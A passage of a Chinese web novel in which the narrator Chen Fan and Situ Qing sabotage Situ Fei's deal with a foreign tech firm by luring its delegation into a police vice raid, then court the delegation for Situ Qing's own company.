我马上拿起手机,拨通了司徒晴的电话,过了一会儿,她给我回了电话。
“怎么了?”司徒晴问我。
“我现在要你做一件事情,你还在公司么?”我问道。
“嗯嗯,我在公司,昨晚我没回去,睡在了公司。”司徒晴见我态度转变,她马上认真的问我道:“你需要我做什么事情?”
“司徒飞明天下午要三点和外国科技公司签约,这场签约我必须要阻止他们!”
司徒晴倒抽一口冷气:“明天下午?这么快?怎么拦住他们?”
“现在用常规手段是不可能的,所以我需要用非常手段,你在公司里找几个可靠的人,最好是生面孔,机灵点的,能演得了戏的。”我说。
“演戏?”司徒晴的声音充满疑惑问道:“演什么戏?”
“演司徒飞的人,我需要几个人,扮成飞越科技的接待人员,在诺德公司的团队抵达后,找机会把他们请到别的地方去,只要能破坏签约,那就够了。”
电话那头沉默了更久,我几乎能听到司徒晴思考的声音。
“你这是要**,诱导第三方?这不符合商业规矩吧?”
“我知道不符合,但司徒飞对夏颜下手的时候,也没管过法律,这是唯一我能想到的办法了!”
“几个小时之后呢?诺德公司的人发现自己被骗了,到时候,万一促成他们和司徒飞的签约呢?”司徒晴说道。
“不会!”我斩钉截铁的说道:“他们不会有心思签约了,因为等他们发现自己被带错地方的时候,会遇到更让他们难堪的局面。”
我向司徒晴说了整个计划,她听完后,电话那头只剩下呼吸声。
“你确定要这么做?”她最后问道:“如果一旦暴露,不只是商业**,可能会上升到法律层面。”
“我确定。”我肯定的说道。
“你需要几个人?”司徒晴问道。
“三个,一个司机,两个接待,车要用豪车,车牌要做成飞越科技常用的那种的,他们的服装要正式,工牌要做的逼真,最关键的是,他们必须能说流利的英语,最好带点英式口音,诺德公司是鹰国企业。”
“好,我想想。”司徒晴沉吟着道:“我这里有个新招的助理,剑桥毕业的,英语很好,人也机灵,剩下的都没有问题。”
“好,我现在就安排,我会让柳媚笙协助你,到时候给你电话。”
交代好一切后,我挂断了电话,然后我回到卧室,夏颜还在
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熟睡,我轻轻的躺在她身边,把她搂进了我的怀里,她下意识的在我胸前蹭了蹭,找了一个更加舒服的姿势,睡着了。
我情不自禁的亲吻了她的额头,然后闭上了眼睛。
……
当晚,上城宝格丽酒店。
诺德公司的六个人团队准时抵达,首席技术官是一名叫米勒的人,他头发梳理的一丝不苟,穿着奢华剪裁得体的深色西装,整个人看起来有一种英伦贵气。
米勒的身后还跟着法务顾问,技术顾问,两名助理和一个翻译。
他们刚走进宝格丽的正门,就有三个人走了过来。
领头的年轻人不到三十岁,穿着深色西装,胸前的工牌上写着“飞越科技高级经理,张凯。”
张凯用流利的英语说道:“米勒先生,欢迎你来到上城,我是司徒总裁派来接您的,车子已经在等候了,司徒总裁说要给你安排特殊的服务。”
张凯说到**的时候,露出了一个男人都懂的表情。
米勒欣然一笑,说道:“谢谢,司徒先生呢?”
“司徒总正在公司准备明天的签约仪式,特地嘱咐我一定要招待好各位。”张凯侧身做了个请的手势道:“司徒总裁已经安排好了地方,请各位过去。”
米勒点了点头,他没有过多的怀疑,一行人坐上了张凯准备好的两台奔驰S级。
车子开除了宝格丽酒店,然后就上了另一条路。
“张……你要带我们去哪里?”米勒有些迷惑的问道,他似乎好像察觉到了不太对。
“司徒总安排了一个特别的地方。”张凯从副驾驶回过头,笑容得体道:“是我们上城最高端的私人会所,可以体验最正宗的按摩养生,各位长途飞行辛苦了,可以先放松一下,再谈公事。”
诺德公司的人互相看了看,没有再说什么,毕竟他们是客人,客随主便。
车子开了四十分钟,最终停在一栋看起来颇为气派的建筑前,招牌上写着“国际养生会所”,门口站着穿着旗袍的迎宾小姐。
张凯先下车,为罗伯特米勒拉开车门:“米勒先生,请,这里是我们司徒总常来的地方,私密性很好。”
“在这里,你可以享受到男人最喜欢的待遇……”
192嫁祸司徒飞!
“男人的待遇?”
米勒会心的一笑,看着张凯道:“那我就要谢谢司徒总裁的安排了。”
米勒在大公司侵染这么多年,都是男人,他怎么可能不知道司徒飞是什么意思,不就是安排了一些**么!
张凯带着一行人,走进了会所,这里装修奢华考究,檀香木散发的气味,让人心旷神怡。
“我们先去茶室休息,司徒总马上就到。”张凯引导他们穿过大堂,来到一个宽敞的包厢。
张凯陪着米勒聊一些无关紧要的话题,比如天气,女人,还有未来科技的发展趋势,张凯的英语很地道,谈吐不凡,让人看不出任何的破绽。
时间一分一秒过去,司徒飞还没有出现。
米勒看了看手表,脸上露出不悦道:“张先生,司徒总什么时候到?”
“应该快了,我打个电话问问。”张凯拿出手机,走到包厢外。
张凯拨通了我的手机。
“陈总,他们已经在里面了。”张凯压低声音,道:“米勒已经有点不耐烦了,是否继续计划?”
“按照计划进行,你先撤,主意安全。”我说道。
“明白。”张凯点了点头说道。
张凯回到包厢,一脸歉意道:“抱歉,米勒先生,司徒总那边临时有个紧急会议,可能要晚一点到,他交代我先带各位体验一下我们这里的特色养生项目,他稍后就到。”
“养生项目?”米勒皱眉道:“我们可没有时间玩什么养生项目,我们是来谈合作的,你把我们带到这里,司徒飞还不出面,这是什么意思?”
“张先生,恕我直言,这就是你们的待客之道吗?!”米勒控制不住自己的心情,他在公司一向都是别人等自己,自己什么时候被放过鸽子。
怎么来到上城,自己待遇就变了?
那几个跟在米勒后面的随从人员,也用英语叽里呱啦的表达自己的不满。
“不会耽误的,就在楼上,很简单。”张凯坚持道:“司徒总特别交代的,说一定要让各位体验一下我们的养生文化。”
“米勒先生,相信我,你会爱上这里的。”张凯笑着说道。
也许是不想显得太不近人情,也许是长途飞行确实累了,诺德公司的人最终还是跟着张凯上了楼。
他们被分别带进了不同的房间,房间里灯光昏暗,有按摩床,有淋浴间,看起来确实像是正规的养生场所。
张凯在走廊里看着所有人都进了房间,然后对等在走廊尽头的一个服务生使了个眼色。
服务生点点头,拿出对讲机,说了句什么,从走廊的拐角处,走出来六个衣着暴露,穿着黑丝外的女人,这些女人个个浓妆艳抹,不用说,就知道是干什么职业的。
女人们一个个的进入了米勒和他随从的房间。
十五分钟后,十几个穿着治安署的人冲了进来,为首的队长挥了挥手,服务员赶紧带着钥匙开门!
砰!
门被推开,正在办事的米勒噌的一下,从床上弹起来。
他马上用被子盖住自己的身体,女人也钻进了被子里,场面又尴尬又混乱,同样,其他的房间也是这样的操作。
“治安署扫黄,你们违法了,跟我们走!”治安署的人喊道。
“你们干什么?!”米勒质问道:“你们没有权利抓我,我要联系大使馆!”
“闭嘴,喊什么喊!”治安署的人呵斥道:“我们接到举报,这里涉嫌非法涩情服务,你们配合我们的调查!”
“什么涩情服务?我们是在这里等合作伙伴!”米勒气得脸都红了,道:“我要给我的律师打电话!”
“您可以联系律师,但在此之前,需要跟我们回治安署协助调查。”
“不可能!我们明天有重要的商务签约!”米勒愤怒道。
“别废话,都带回去调查!”治安署严厉道。
尽管米勒几个人不服,可这毕竟是在上城,他们外国人的身份,根本兴不起什么风浪,只能被动的跟着治安署的人走。
当米勒几人被带上警车后,张凯从树后面走了出来,他马上拨通了电话。
“陈总,我看见米勒他们被治安署带走了。”
“好,非常好。”我抽着烟,眼角露出一丝的阴险,道:“你跟上去,看情况,主要是在治安署门口盯着,看看司徒飞的人会不会来。”
“明白!”张凯点了点头。
半个小时后,治安署里。
米勒几个人被关押在审讯室,米勒被单独审讯。
“姓名。”一个治安员问道。
“罗伯特米勒。”
“年龄。”
“45。”
“性别。”
“男,你难道看不出来吗?”
“问你什么就答什么,废什么话!”治安员狠狠瞪了一眼米勒道:“为什么找涩情服务,谁给你介绍的,你给了多少钱!”
“我没有找!”米勒愤怒道:“是你们上城公司的人给我安排的,是司徒飞,还有一个叫张凯的人!我是被冤枉的!”
米勒愤怒的想要砸桌子!自己去过很多国家,也玩过不少女人,怎么在上城就栽了?!
这算什么事?屁大点事也给我抓来?!
司徒飞呢,他人死哪去了!妈的!
“哦?司徒飞?你说带你去按摩的是叫张凯的事么?”治安员问道。
“没错,就是他,是飞越科技的高级经理!”
“好,我们会核实!”
治安员和另一个人低语了几句,那个人就出去了,过了五分钟,那
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个人回来,说道:“给飞越科技公司打过电话了,他们公司根本没有叫张凯的人!”
“不!怎么可能会没有!”米勒睁大了眼睛,这个男的明明赔了自己一下午啊!
妈的,是不是被司徒飞给耍了?他把自己弄进治安署,是不是想以此要挟自己,在签约合同上做让步?
可恶的上城人,可恶的司徒飞,竟然使用如此卑鄙的手段!
“我要联系我的律师!”
“可以,这是你的权利。”
“我什么时候可以出去?”
“我们调查完后,你才可以,该交的罚款你要交,拘留也要。”
“什么?!我可是来签合同的,你们要拘谨我?知道给我们的公司带来多少损失么!”
治安署的人不听米勒的话,做好笔录,就让人把米勒带了出去。
晚上,司徒飞办公室。
“联系上了吗?”司徒飞转头问秘书,声音里压着怒火。
“还没有……”秘书脸色发白,道:“米勒先生的手机打不通,他们下榻的酒店也说没见到人,机场那边确认他们上午十点就出关了,下午的时候,他们被我们的人接走了……”
“我们的人?”司徒飞猛地转身,“谁去接的?我怎么不知道?”
司徒飞的心脏猛地一沉,他立刻拿出手机,拨通一个号码道:“查一下,今天下午酒店的监控,找诺德公司那几个人出站后的行踪,立刻!”
挂断电话,司徒飞在会议室里来回踱步,不对劲,非常不对劲,诺德公司的人不可能无缘无故消失,除非……
手机响了。
“司徒总,查到了,下午一点多,诺德公司的人在到达酒店后被三个人接走,上了两辆黑色奔驰,车牌是是我们的公务车车牌。”
“什么?!”司徒飞几乎要捏碎手机,质问道:“那辆车现在在哪?”
“那辆车最后出现在西郊的云顶国际养生会所,而且……”电话里欲言又止。
“而且什么?!”
“而且就在半小时前,那个会所被警方扫黄了,抓了一批人。”
司徒飞的手一松,手机掉在地上,屏幕摔得粉碎。
他明白了。
全都明白了。
“陈凡,你个下三滥!”
司徒飞狠狠的怒骂道:“你竟然使用这种下三滥的手段!”
司徒飞没有想到,陈凡竟然出阴招,让治安署的人以扫黄的名义将人抓走,明天,整个上城就知道,诺德公司的人在上城涉嫌**被抓,到时候别说签约了,诺德为了挽回声誉,很有可能直接终止合作。
“几十亿的生意,陈凡,我要你付出代价!”
司徒飞站在原地,气的浑身发抖。
“你要玩阴的,好,我陪你!”
193会演戏的司徒晴!
三台奥迪A8组成的车队,一路横冲直撞驶向上城治安所,司徒飞坐在中间的车里,他面色铁青,怒火中烧,仿佛下一秒就要**。
到了治安所,车子还没停稳,司徒飞就推门下车,他的眼神阴冷的吓人,跟在他身后的四个亲信都是他身边的老人。
此时,他们都知道,司徒飞已经处在爆发的边缘了。
治安所的人看到这阵仗,赶紧迎了出来,还没开口,司徒飞已经走到他面前,声音从牙缝里挤出来:“人在哪?”
“您是?”治安员被他的气势慑住了。
“司徒飞,飞越科技董事长,我来接诺德公司的罗伯特米勒先生和他的团队吗,他们被带到这里来,完全是一个误会!”
“你们带人的时候,为什么不问清楚?”司徒飞狠狠的说道。
治安员知道司徒飞的名字,那可是上城的首富,他马上变得恭敬起来,道:“司徒先生,您请进,我帮您问问……”
“不用问,直接带我去见人。”司徒飞打断他,径直往里面走。
治安员面露难色,他一路小跑了过去,道:“司徒先生,米勒先生他们已经不在我们所里了。”
司徒飞的脚步猛地停住,他缓缓转过身,盯着治安员,问道:“你说什么?”
治安员咽了口唾沫,小心谨慎道:“他们被人接走了。”
司徒飞身后的一个亲信忍不住上前问道:“什么时候接走的?谁接走的?手续呢?”
“就在一个小时前。”治安员额头开始冒汗,解释道:“一位女士来接的,她手续齐全,有委托书,有身份证明,我们核验过了,符合程序。”
“女士?”司徒飞重复这个词,像是想到了什么一样,问道:“什么女士?叫什么名字?长什么样?”
“她叫司徒晴。”治安员努力回忆道:“她说她是米勒先生在中国的事务代理,全权处理他们团队的这次意外。”
司徒晴!
这三个字像三颗**,精准地射入司徒飞的心脏。
他站在那里,一动不动,脸上的表情从暴怒转为错愕。
“司徒晴,很好,非常好,抢人抢到你叔叔这里来了!”
他身后的亲信们面面相觑,都不敢说话。谁都看得出来,老板现在的状态比刚才直接发怒更可怕。
司徒飞忽然笑了,笑声愤怒里还夹杂着诡异。
“你们说她手续齐全?符合程序?”他看向治安员,语气冰冷道:“我能看看那些手续文件吗?还有监控,接人的时候应该有监控吧?”
“可、可以的。我这就去调。”
十分钟后,司徒飞坐在治安所的调解室里,面前放着几份文件的复印件和一台笔记本电脑。
司徒飞仔细翻看这些文件,文件全部是英文的,盖着诺德公司的公章,还有米勒的签名,还有一份律师函,深情米勒团队在会所中的事件,是被人给栽赃陷害。
这一系列的操作和证据,堪称完美。
他点开电脑上的监控视频。
画面里,治安所的接待大厅。
五点多,司徒晴走了进来,她今天穿得很低调,一身深灰色的香奈儿套装,头发松松地盘在脑后,戴着一副金丝眼镜,看起来像个干练的女律师或者高级秘书,她手里拿着一个文件袋,从容地走到接待窗口,和治安员在交谈。
画面视频没有声音,但能看到司徒晴的表情很平静,说话时手势专业,她把文件递进去,治安员仔细查看,然后起身去请示领导,五分钟后,领导出来,又和司徒晴交谈了几句,最终点头。
紧接着,米勒团队被带出来,六个外国人显然都惊魂未定,米勒脸色铁青,嘴唇紧抿,愤怒和**几乎写在脸上。
司徒晴迎上去,用英语和他们交谈,态度恭敬又不失安抚,她说了些什么,米勒的表情稍微缓和了些,然后点了点头。
一行人跟着司徒晴离开,全程不到十五分钟。
干净利落,没有一句废话。
司徒飞看着司徒晴离开时的背影,那个优雅从容的背影,在监控画面里渐行渐远,最后消失在治安所的大门外。
他关掉视频,闭上眼睛。
大脑在飞速运转。
陈凡,这一切肯定是陈凡做的!
除了他,谁能有胆子抢自己的人,再说司徒晴,她那么喜欢陈凡,估计早就和他睡了!
吃里扒外的东西!
好一个一环扣一环,先让人假扮飞越科技的人,把米勒骗过去,在报警扫凰,让米勒团队被拘留,最后让司徒晴办好人,把人给节奏。
司徒飞苦笑一声,这些操作,还真是严丝合缝啊!
司徒飞忽然觉得自己好像一个傻子,竟然让陈凡和司徒晴给自己玩进去了,自己还到处找人呢!
司徒飞现在**的心都有了,米勒手里可是握着几十亿的合同!那是自己坐稳司徒家主位置的关键,现在自己一笔需要把诺德给弄出来!
司徒飞深吸一口气,让自己恢复了平静。
他站起身子,对治安员说道:“谢谢,今晚的事情……”
治安员连忙说道:“司徒先生请放心,这其实是个误会,我
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们已经查清楚了,米勒先生他们确实是无辜的,那个会所有问题,我们已经查封了……”
“我知道。”司徒飞打断他,露出一个标准的商业微笑,道:“这件事,还请所里帮忙保密,毕竟涉及外宾,影响不好。”
“明白,明白。”治安员说道。
离开治安所,司徒飞坐进了车里,车里一片安静。
“老板,我们现在怎么办?”副驾驶上的亲信小心翼翼的问道。
“去查。”司徒飞靠在座椅上,闭上眼睛,道:“查司徒晴现在在哪里,查她把米勒团队带到哪里去了,查那个假扮我们的人是谁,查那个‘云顶会所’的老板是谁,查今天这场扫黄行动是谁安排的。”
他一口气说完,然后停顿了一下。
“还有,查陈凡现在在哪里,在做什么。”
“是。”
车队驶离治安所,司徒飞拿出手机,拨通了一个号码。
电话响了很久才被接起。
“飞总?”那头的声音带着睡意,显然是被吵醒了。
“黑三,帮我做件事。”司徒飞的声音很平静,道:“找几个可靠的兄弟,给我盯住柳媚笙的所有场子,特别是她那个酒吧,我要知道她的一举一动。”
黑三,上城地下世界有名的狠角色,专门接一些见不得光的活儿,司徒飞以前很少直接找他,但现在,常规手段已经不管用了。
“柳媚笙?”黑三的睡意全没了道:“飞总,那个女人不太好惹,她背后有人。”
“我知道她背后有人。”司徒飞冷笑,道:“所以才要动她,你尽管去做,出了事我担着,钱不是问题。”
“明白了。”黑三也不废话,道:“什么时候开始?”
“现在。”
挂断电话,司徒飞看着窗外飞速后退的街景。
他还记得自己知道陈凡名字的时候,他不过是一个靠女人上位的小喽啰,自己也没把他放在眼里,这种男人能成什么气候。
可现在,这个自己曾经看不起的人,现在征用最狠毒的方式,在自己的领域,来狠狠的扇自己的耳光。
而更让司徒飞觉得羞耻的是,司徒晴这个原本什么都不会的傻白甜,现在竟然也敢来抢自己的生意?!
是谁给他们的勇气?!
司徒飞的手机响了,是负责调查的人打来的。
“老板,查到了,司徒晴把米勒团队带到了悦榕庄酒店,开了三个套房,全部用她自己的名字,她本人现在还在酒店里,另外,陈凡今天下午去了周家的静水山庄,一直没出来。”
194司徒晴的能力!
悦榕庄酒店的总统套房内,气氛依旧凝重。
米勒站在落地窗前,抽着雪茄,面色凝重,身后,他的团队都沉默的坐在客厅里,没有敢说话。
今天的事情,让这群习惯了西装革履,在高档会议畅谈生意的外国精英感觉到了恶心,甚至可以用厌恶来形容。
一种羞辱感油然而生,虽然司徒晴来帮他们自证清白,可那种**感,刻在了每个人的脸上。
尤其是米勒,他坐在这次签约的负责人,到现在连司徒飞的一面都没见到,这不是羞辱是什么?
“混蛋,可恶!”
“这个司徒飞太恶心了!”
“米勒总裁,这个人品质有问题,我建议先暂停签约!”
“是的,米勒先生,我同意艾伦的观点!”
米勒的手下们纷纷表达不满,看来被拘留的事情,彻底触碰到了他们的心里防线。
咚咚咚!
一阵敲门声响起,米勒示意手下的人不要说话。
“请进。”
推门而入的人是司徒晴,她用一口流利的英语说道:“米勒先生,我是晴空科技的总裁,我有一些事情,想和您谈谈。”
“你要谈什么?”米勒问道。
司徒晴上前一步,微微颔首道:“米勒先生,各位,请允许我为今天下午发生的不愉快经历,代表我个人向各位致以最诚挚的歉意,这绝不是商业伙伴应有的待客之道。”
司徒晴的英语是标准的牛津腔,流利而清晰,用词准确,这让房间里的人稍微放松了一些警惕,至少,这个女人看起来比下午那些治安员和那个莫名其妙的接待人员专业的多。
米勒终打量着司徒晴,眼神里充满了审视和愤怒问道:“司徒小姐?你也姓司徒,你和飞越科技的司徒飞,是什么关系?”
“他是我的叔叔。”司徒晴坦然承认道:“但这不代表我认同他的行为方式,事实上,我成立‘晴空科技’,就是因为我们对于如何做技术、如何对待合作伙伴,有着根本不同的理念。”
司徒晴的话说的非常的大胆,也很直接,这倒是让米勒有些另眼相看,他今天对司徒飞的安排很不满意,他倒是想听听司徒晴的想法,于是示意她坐下。
“今天下午的事,到底是怎么回事?为什么司徒飞的人会把我们带到一个……那种地方?”米勒停顿了一下,最终还是没有说那是一个风月场所。
“抱歉,米勒先生,虽然司徒飞是我的叔叔,但我已经被他赶出了家门,我和他没有联系,所以,我也不清楚他为何这样做。”司徒晴认真的说道。
米勒陷入了沉思,司徒晴既然不知道发什么了什么,那她为什么还要保自己出来呢?她的目的是什么?
“司徒小姐,那你找我的目的是什么?”米勒开门见山的问道。
司徒晴直视着米勒,道:“我来,是想给各位提供一个选择。”
“选择?”
众人面露疑惑,你看看我,我看看你,不知道司徒晴的意思。
“是的。”司徒晴从公文包里拿出另一份文件,然后递给米勒,道:“这是‘晴空科技’的技术白皮书,以及我们正在研发的5G射频前端和天线系统解决方案的初步方案。”
米勒接过文件,但没有立刻看,他盯着司徒晴问道:“你知道我们这次来中国,是专门和飞越科技谈合作的,我们已经进行了长达半年的技术评估和商务谈判。”
“我知道。”司徒晴点头,道:“我也知道,诺德公司之所以选择飞越科技,是因为他们在基带芯片领域确实有一定积累,但米勒先生,您应该也清楚,飞越科技在射频前端这个关键环节上,存在严重的技术短板,而这一点,将直接影响整个5G解决方案的性能和商用前景。”
司徒晴的话一阵见血,米勒的表情变得严肃起来,诺德公司的技术团队确实在评估报告中提到过这个问题,但司徒飞一再保证,这个问题会在量产前解决。
“你怎么知道这些?”米勒问道:“这是飞越科技的商业机密。”
“因为三年前,飞越科技那个被砍掉的射频前端项目,就是我手下的人主导的。”司徒晴的声音很平静,但每个字都带着重量。
“那个项目如果继续下去,现在应该已经成熟了,但司徒飞为了集中资源在他的基带芯片上,强行叫停了项目,解散了我手下的团队。”
司徒晴说的手下,正是周明,她的一席话,也让整个房间瞬间安静下来。
所有人的目光,都落在她的身上,这个年轻的女人坐在那里,背挺得笔直。
“所以你现在要把这件事做好?”米勒缓缓开口问到。
“是的。”司徒晴说道:“而且我们比司徒飞走得更远,米勒先生,与其和一个在关键技术上存在短板,且树敌众多,连基本商务安全都无法保证的合作伙伴合作,为什么不考虑一下,和一个由原班技术团队打造,专注射频前端的新公司合作?”
司徒晴这话说得太直接了,几乎是在当面拆司徒飞的台,这些话,都是陈凡交给自己说的,司徒晴相信自己的男人。
米勒沉默了很
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久,然后翻开司徒晴递过来的技术白皮书,他不得不说,这文件做得很专业,技术参数详实,路线图清晰,专利列表完整,特别是那几项核心专利的说明,让米勒的眼睛亮了起来,这些正是诺德公司目前在寻找的技术突破点。
“这些专利所有权清晰么?有没有法律**?”米勒指着文件上的一处问道。
“绝对清晰。”司徒晴肯定地说,“这些专利的发明人是我,原始申请文件都在我这里。三年前司徒飞叫停项目后,专利的申请流程也中断了,但法律上的权利归属没有问题,如果诺德公司有兴趣,我们可以提供全套的法律文件供审查。”
米勒合上文件,看向他的技术顾问詹姆斯。
詹姆斯一直在旁边安静地听着,此时点了点头,用专业语气说:“从技术路线看,确实比飞越科技目前的方案更前沿,解决了我们一直在担心的干扰问题。”
这已经是很高的评价了。
米勒思考了很久,然后说道:“司徒小姐,你的提议很有吸引力,但商业合作不是儿戏,我们需要时间评估。”
“当然。”司徒晴也站起来,道:“我也没指望各位现在就做决定,事实上,我建议各位暂时不要做任何决定。”
这话让所有人都愣了一下。
“不要做决定?”詹姆斯疑惑地问。
这个发言太让人震惊,作为商业利益,哪家公司不希望立刻签约,这可是几十亿的项目啊!
“是的。”司徒晴点了点头,道:“明天,飞越科技那边肯定会再来找各位,会给出各种解释和承诺,甚至会提高合作条件,我的建议是:各位什么都不要答应,就说需要时间考虑,然后……”
她顿了顿,微微一笑:“然后,我邀请各位明天上午,去晴空科技实地看看,看看我们的实验室,看看我们的团队,看看我们正在研发的东西,等看完了,再做决定也不迟。”
这个提议很大胆,也很聪明。不给对方压力,只是提供一个对比和选择的机会。
米勒和詹姆斯交换了一个眼神,然后米勒点了点头:“好,明天上午十点。”
“我会安排车来接各位。”司徒晴说道:“另外,今晚各位的住宿和晚餐,请允许我来安排。算是我对今天不愉快经历的补偿。”
她没有说是陈凡安排的,也没有提任何其他条件,只是单纯地表达歉意和善意。
这种姿态,反而更容易让人接受。
“那就麻烦司徒小姐了。”米勒终于露出了今天下午以来的第一个微笑。
195司徒晴出**人!
司徒晴走出了总统套房,她坐上了车,车上,柳媚笙笑着说道:“你刚才表现的很不错,比陈凡教的还要好。”
对于柳媚笙的出现,司徒晴并不意外,因为这是陈凡给自己的保险。
司徒晴知道,自己干上了这一行,免不了尔虞我诈,自己明面上的事情可以去做,可背地里的阴暗面,只能交给柳媚笙这样的女人去做。
司徒晴长长地舒了口气,这才露出一点紧张的神色,不好意思笑道:“我刚才手心里全是汗,要是米勒直接拒绝,我们就全完了。”
“他不会拒绝的。”柳媚笙说道:“你给了他一个完美的台阶下,被司徒飞那样戏弄之后,他需要一个体面的借口来重新评估合作,而你的出现,正好提供了这个借口。”
“陈凡那边怎么样?”司徒晴问。
“他在静水山庄陪夏颜。”柳媚笙说道:“司徒飞现在应该已经气疯了,接下来可能会有更疯狂的反扑,你这边要小心。”
“我知道。”司徒晴点头,道:“明天我会带米勒团队参观公司,陈凡会来吗?”
“他会去,但不一定露面。”柳媚笙说,“有些时候,看不见的对手,才更让人忌惮。”
车子驶离酒店,融入上城的车流。
司徒晴靠在座椅上,她知道,从明天开始,她将正式站在司徒飞的对立面,以竞争对手的身份,争夺他志在必得的合作。
她要拿回本属于自己的一切!
早上,静水庄园。
天刚刚亮,我就从醒了过来,夏颜还枕着我的胳膊,睡的正香,我轻轻挪开手臂,起身下床,没有吵醒到她。
手机忽然振动了一下,我马上拿起,走出卧室。
是柳媚笙给我发来的消息,于是我马上给她回了电话。
“怎么样?”我问的是昨天的事情。
“司徒晴昨晚成功接触米勒团队,约好今天上午十点参观晴空科技,司徒飞那边还没动静,但黑三的人已经开始在“迷醉”酒吧附近出没,周明传来内部消息,司徒飞昨天深夜召集了紧急会议,参会人员都是他的绝对心腹,会议内容不详。”
“继续观察吧,今天上午的晴空科技,你陪着司徒晴,然后让阿勇保护好你们。”我说道。
“明白,那夏颜这边呢?”柳媚笙问道。
“静水山庄很安全,司徒晴不可能伤害到夏颜一丝毫,所以,你们就非常危险,一定要提高警惕。”我说道。
“好。”
放下手机,我走回床边,夏颜翻了个身,睫毛颤动了几下,缓缓睁开眼睛,她露出一个朦胧的笑容:“你醒了……”
“吵到你了?”我坐到床边。
“没有。”她揉了揉眼睛,问:“几点了?”
“还早,不到七点,你再睡会儿。”
她摇摇头,撑着坐起来,睡袍的领口滑落,露出白皙的肩膀和锁骨,我忍不住多看了几眼,即便和她有了肌肤之亲,可夏颜实在是太过性感。
“你今天要出去吗?”她温柔的问道。
“嗯,上午有点事。”我不想让夏颜担心,于是笑着道:“下午就回来陪你。”
她点点头,没有追问,她懂得什么时候该问,什么时候不该问,在商场上她是杀伐果断的女王,但在我面前,她懂得收起锋芒,给我空间。
“想吃什么?”我转移话题,我说道:“我让李姐做。”
“没什么胃口。”她轻抚小腹,道:“最近总是这样,早上起来就反胃。”
“那也要吃点我去让李姐煮点粥,清淡的。”
下楼时,李姐已经在厨房忙活了。
“陈先生早。”李姐回头看到我,道:“粥马上就好,我加了点山药和红枣,对孕妇好。”
“谢谢。”我倒了杯水,靠在厨房门框上道:“李姐,这段时间辛苦你了。”
“应该的。”李姐笑笑说道:“夏小姐人好,对我也好,你们都是好人。”
八点半,我离开静水山庄,我没有走大路,而是绕了一条更隐蔽的山道。
“凡哥。”刘飞从后视镜看了我一眼,道:“柳姐那边传来消息,司徒飞的人今天早上去了悦榕庄酒店,但没见到米勒团队,他们被前台告知,客人已经退房了。”
“什么时候退的?”我问道。
“早上七点,柳姐安排的车接走的,直接去了晴空科技。”刘飞说道。
我点点头,很好,司徒晴的动作很快,没给司徒飞任何反应时间。
“司徒飞那边有什么反应?”
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“暂时还不知道。”刘飞说道:“但黑三的人今天凌晨在迷醉酒吧附近增加了人手,看样子是想对柳姐的场子动手。”
“让他们动。”我淡淡道:“告诉柳媚笙,不用拦着,让他们砸,砸得越狠越好。”
刘飞愣了一下,但很快明白过来问道:“凡哥你是想……”
“司徒飞现在需要发泄,与其让他把怒火憋着,想出更阴损的招数,不如给他一个目标,让他砸个痛快,一家酒吧而已,砸了可以再开,但有些东西,砸了就再也回不来了。”
“明白。”阿勇不再多问。
车子驶出山区,进入城市快速路。
上城的早晨忙碌而拥挤,车流如织,行人匆匆。每个人都在为自己的生活奔波,没人知道,就在这座城市的高楼大厦里,一场足以改变行业格局的暗战正在上演。
九点四十分,我们到达晴空科技所在的写字楼附近,我没有直接上去,而是把车停在对面街角的咖啡馆门口。
“你上去。”我对刘飞说,“暗中保护好司徒晴和米勒团队,有任何异常,立刻通知我。”
“好的凡哥。”
刘飞立刻下车,混入人群,很快消失在写字楼大厅里。
我坐在车里,点了支烟,烟雾在狭小的空间里缭绕,让窗外的街景变得模糊。
透过咖啡馆的玻璃窗,我能看到里面坐着几个看似普通的人,但他们的坐姿、眼神、还有放在桌上的手的位置,都暴露了他们的身份,都是我安排的人。
这条街,这栋楼,此刻已经布满了眼睛。
十点整,三辆黑色的商务车开了过来,从车上下来的,正是米勒团队,以及陪同的柳媚笙和司徒晴。
司徒晴今天穿了一身浅灰色的职业套装,头发扎成干练的马尾,脸上化了淡妆,看起来自信而专业,柳媚笙则是一身黑色,走在司徒晴身边,像个守护者,也像个见证者。
我不知道把柳媚笙喊来上城,让她摄入我的圈子对不对,但我知道,这个聪明的女人,不能一直活在江湖世界,她应该有更广阔的平台,施展自己的才华。
司徒晴似乎心有感应一般,她转过身,朝我这边看,找到我后,我点了点头,她露出了一个放心的笑容……
196司徒晴的优越条件!
同一时间,飞越科技总部。
司徒飞站在自己办公室的落地窗前,背对着门。窗外是上城最繁华的CBD景观,但此刻他什么都看不进去。
办公室的门被轻轻敲响。
“进。”他的声音很平静,平静得可怕。
秘书推门进来,脸色苍白:“司、司徒总,查到了,米勒先生他们今天早上退房了,被司徒晴小姐接走了,去了一个叫‘晴空科技’的公司。”
司徒飞没有转身,也没有说话。
办公室里安静得能听到秘书紧张的呼吸声。
许久,司徒飞才缓缓开口:“晴空科,是司徒晴的公司?”
“是的,法人代表就是司徒晴小姐,办公地点在城东,离我们只有三公里。”秘书如实的汇报,她有些紧张,因为她感受到了老板很愤怒。
“三公里……”司徒飞重复着这个数字,忽然笑了,“好,很好,我亲爱的大侄女,在我眼皮子底下开了家公司,挖走了我的客人,真是太好了。”
司徒飞不怒反笑,这样更让秘书感觉到了恐怖。
秘书吓得不敢说话。
“她还做了什么?”司徒飞问道:“除了挖走我的客人。”
“还……还挖走了我们的人。”秘书的声音更小了,“技术部的王工、李博士,还有市场部的小赵,昨天都递交了辞职报告,人事部刚把报告送上来,说他们都去了晴空科技。”
司徒飞终于转过身,看着秘书手里递过来的辞职报告,他接了过来。
他的脸上没有任何表情,眼睛像两口深井,看不见底。但秘书能看到,他握着窗框的手,指节因为用力而发白,手背上的青筋一根根暴起。
“王工……李博士……”司徒飞低声念着这些名字,“都是当年我一手提拔的,我给了他们高薪高职,结果一有机会,还是选择跟她走。”
司徒飞拿起那份辞职报告狠狠的撕碎,似乎还不解气,他把纸屑扔到地上,狠狠踩了几脚。
“通知下去!”司徒飞狠狠的说道:“所有从飞越科技离职去晴空科技的人,全部列入行业黑名单,我要让他们在上城,不,在整个通信行业,再也找不到工作。”
“是。”
“还有……”司徒飞抬起头,看着秘书道:“给我查清楚,晴空科技的资金从哪里来,背后有哪些股东,技术来源是什么,我要知道她的一切。”
“已经在查了,但……但公司的股权结构很复杂,通过好几层海外公司持股,暂时查不到实际控制人。”
司徒飞的眼神沉了沉。
海外公司,复杂的股权结构,查不到实际控制人。
这种手法,太熟悉了。
“陈凡……”他吐出这个名字,道:“一定是陈凡,除了他,现在上城谁还敢帮着司徒晴跟我作对?”
